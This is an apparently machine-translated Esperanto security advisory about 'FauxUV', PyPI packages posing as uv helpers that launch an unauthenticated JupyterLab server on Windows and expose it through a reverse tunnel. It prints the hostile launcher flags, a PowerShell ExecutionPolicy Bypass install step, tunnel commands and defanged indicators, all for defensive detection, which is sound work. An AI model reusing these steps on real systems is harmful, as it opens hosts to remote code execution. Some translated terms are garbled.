TL; DR
Areto de PyPI-pakaĵoj pruntis la nomon de uv, la rapida, ege populara Rust-bazita Python-pakaĵadministrilo, por ŝajnigi esti UV-helpantoj. Ili preskaŭ ne liveras veran funkcion. Kion ili anstataŭe portas estas Vindoza utila ŝarĝo, kiu eltenas Servilo JupyterLab kun aŭtentikigo malŝaltita kaj, en pli postaj versioj, publikigas ĝin al la publika interreto tra inversa tunelo.
Jen la tuta rakonto en unu linio: la nomo de fidinda ilo kiel la allogaĵo, kaj JupyterLab kiel la motoro por fora kodplenumo. Jupyter-servilo funkciigas ajnan kodon, kiun vi tajpas en not-dosieron.ebook ĉelo; unu lanĉita kun malplena ĵetono kaj ligita al ĉiu retinterfaco estas malferma interpretilo, kiun ĉiu, kiu povas atingi la pordon, povas funkciigi.
Ni spuras la areton kiel Falsa UVLa du pakaĵoj ekzamenitaj estas moon-uv (0.0.1-0.0.16) kaj my-magic-uv-helper (0.0.1), publikigita de la sama funkciigisto kaj havebla ĉe PyPI dum la analizo.
| Ekosistemo | PyPI |
| pakaĵoj | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Platformo celita | fenestroj |
| Kerna konduto | Neaŭtentigita JupyterLab-servilo, publikigita al la interreto per inversa tunelo |
| Legitimaj iloj misuzitaj | uv, JupyterLab, cloudflared, Pinggy |
La allogaĵo: nomo, kiun vi jam fidas
uv estas unu el la plej instalitaj Python-iloj de la lastaj du jaroj, do "helpanto por uv"estas pakaĵo, kiun programisto instalas sen dua penso. FauxUV elspezas sian kredindecon tute por tiu nomo. La pakaĵoj envolvas la aŭtentika uv instalilo de Astral — la URL-oj en la utila ŝarĝo montras al realaj, bonfamaj gastigantoj — do rapida ekrigardo vidas nenion krom fidindajn referencojn. Neniu el la pakaĵoj efektive aldonas uv funkcieco; la nomo estas la tuta alivestiĝo.
JupyterLab kiel la RCE-motoro
La ĉefa parto de la utila ŝarĝo estas lanĉilo, kiu startas JupyterLab-on sen ĉiu apogilo:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Ĉiu flago forigas protekton, kaj la sendita skribo eĉ prinotas ilin (en la originala ĉina): la malplena ĵetono "malŝaltas pasvortajn kaj ĵetonajn kontrolojn — ĉiu ajn povas konektiĝi." jupyter-laboratorio estas legitima datumscienca IDE, sed neebook ĉelo efektivigas arbitran kodon laŭplane. Agordita tiel kaj ligita al 0.0.0.0, ĝi ĉesas esti IDE kaj fariĝas neaŭtentika fora ŝelo sur la gastiganto — neniu kutima malicprogramaro necesas, nur ĉefa ilo direktita al la malĝusta direkto.
Du subtenaj pecoj igas tion atingebla kaj ripetebla:
- Silenta instal-ellasilo. Fruaj versioj funkciigas PowerShell kun -Ekzekuta Politiko Preterpaso rekte de Setup.py on pip instali, en la fono kun eraroj subpremitaj do pip aspektas normale. Pli postaj versioj movas la saman primitivon en pip-uv komandlinia ilo — kaj tute forĵeti la aŭtomatan lanĉon dum la instalo.
- Publika inversa tunelo. Servilo sur 0.0.0.0 estas ankoraŭ atingebla nur de gastigantoj, kiuj povas direkti al la maŝino. Enigita modulo malfermas [Pinggy](https://pinggy.io/) SSH-inversa tunelo kiu plusendas la lokan Jupyter-pordon al publika adreso, forigante tiun limon. La sendita skripto ankaŭ portas — komentita — alternativan vojon uzante la de Cloudflare nubflamis kaj netsh port-prokurilo al Linode IP-adreso, dokumentante la saman celon per malsama infrastrukturo.
Kunmetu: instalu la pakaĵon, kaj Vindoza gastiganto finfine funkciigas senpasvortan JupyterLab kaj publikigas ĝin en la malferma interreto.
Kiel FauxUV evoluis
La versioj de FauxUV estis senditaj rapide sinsekve, kaj la ellasilo de la utila ŝarĝo moviĝis trans ilin — memorigilo, ke unu markita versio malofte rakontas la tutan historion de pakaĵlinio.
| scenejo | versioj | ellasilon | Kion ĝi aldonas |
|---|---|---|---|
| Instali-hoko | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py sur pip-instalo | uv-instalo + PATH antaŭmeti |
| CLI-rultempo | moon-uv 0.0.5-0.0.13 | pip-uv komando | la senpasvorta lanĉilo de JupyterLab |
| Tunelo | moon-uv 0.0.14-0.0.16 | pip-uv komando | aktiva Pinggy-inversa tunelo |
Rimarkinde, la aŭtomata lanĉo dum la instalado estis forigita en la pli postaj, pli kapablaj versioj — do skanilo ŝaltita nur dum vivciklo hooks taksus la pli novajn eldonojn kiel malpli riska, ĝuste inverse.
Indikiloj de kompromiso
Konfirmite per legado de la pakaĵfonto; finpunktoj markitaj komentis ĉeestas en la dosieroj sed ne estas plenumataj de la analizita versio. Retaj indikiloj estas malŝaltitaj.
| tipo | indikilo |
|---|---|
| Instali komandon | powershell -ExecutionPolicy Bypass alprenante la originalan uv-instalilon, dum la instalado de pip |
| JupyterLab-flagoj | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Inversa tunelo (aktiva) | free[.]pinggy[.]io:443 plusendado loka 127.0.0.1:8888 |
| Tunela gastiganto (komentita) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (komentita) | 45[.]79[.]134[.]161 (Linode) per netsh port-proxy |
| persisto | antaŭas %USERPROFILE%\.local\bin al la uzanto-VOJO |
Kondutaj signaloj pri kiuj valoras atenti, sendepende de ĉi tiuj precizaj ĉenoj: a pip instali kiu generas potencoŝelo - Ekzekuta Politiko Preterpasoajna Jupitero lanĉo kombinanta ĵetono="" kun –ip=0.0.0.0; kaj elira SSH al *.pinggy.io de programisto aŭ CI-maŝino.
Observita konduto kaj deveno
La du pakaĵoj dividas aŭtoron kaj metodon: nomon de fidinda ilo, nur-Vindozan enregadon, erar-subpremitan fonan ekzekuton, kaj dependecon de bonfamaj iloj, do rapida ekrigardo vidas nur bonfamajn URL-ojn. La fonto enhavas ĉinlingvajn komentojn klare priskribantajn la sekurec-rilatajn flagojn; ni raportas tiujn kiel observeblajn deklarojn en la dosiero, ne kiel aserton pri motivo. La permesi_originon valoro kaj kunlaboraĵo.vesperto dosiernomo eĥas la neformalajn "kunhavigi mian lokan rultempon" laborfluojn, kiuj cirkulas por Google Colab. Sendepende de la origino, la pakita rezulto estas la sama.
Efiko kaj gvidlinioj por defendantoj
Kiu estas eksponita al FauxUV. Vindozaj programistoj kaj CI-kuristoj, kiuj pip instali unu el ĉi tiuj pakaĵoj. Senpasvorta JupyterLab sur 0.0.0.0 estas fora kodplenumo por ĉiu, kiu povas atingi la pordon; la tunelo forigas la limon "kiu povas atingi ĝin". La servilo funkcias kiel la instalanta uzanto, heredante la dosierojn, ĵetonojn kaj nubajn akreditaĵojn de tiu uzanto.
Kial estas facile maltrafi ĝin. Ĉiu retĉeno montras al bonfama gastiganto — Astral, JupyterLab, nubflamis, Pinggy, Kunlaboro. Ne ekzistas duuma dosiero por haki kaj neniu malklarigita makulo por deĉifri. Reputacio- kaj subskribo-bazita skanado ambaŭ subpezas ĉi tion, tial la konduta demando — kion la instalado de ĉi tiu pakaĵo igas la maŝinon fari — estas tiu, kiu kaptas ĝin.
Gvido:
- Traktu ajnan instaltempon potencoŝelo - Ekzekuta Politiko Preterpaso kiel konstru-rompanta signalo, kian ajn URL-on ĝi akiras.
- Alarmo ŝaltita Jupitero lanĉita kun malplena ĵetono kaj –ip=0.0.0.0; tiu kombinaĵo neniam aperu sur laborstacio aŭ kurilo.
- Monitori por eliranta SSH al tunelprovizantoj (*.pinggy.io, *.trycloudflare.com) el programistaj kaj CI-medioj.
- instali uv de [ĝia oficiala fonto](https://docs.astral.sh/uv/) kaj estu skeptika pri triapartaj "helpaj" pakaĵoj, kiuj enhavas ilon jam facile instaleblan.
- Alfiksi kaj re-revizii dependecojn dum ĝisdatigo — pakaĵlinio povas kreskigi novan kapablon versio-super-versio.



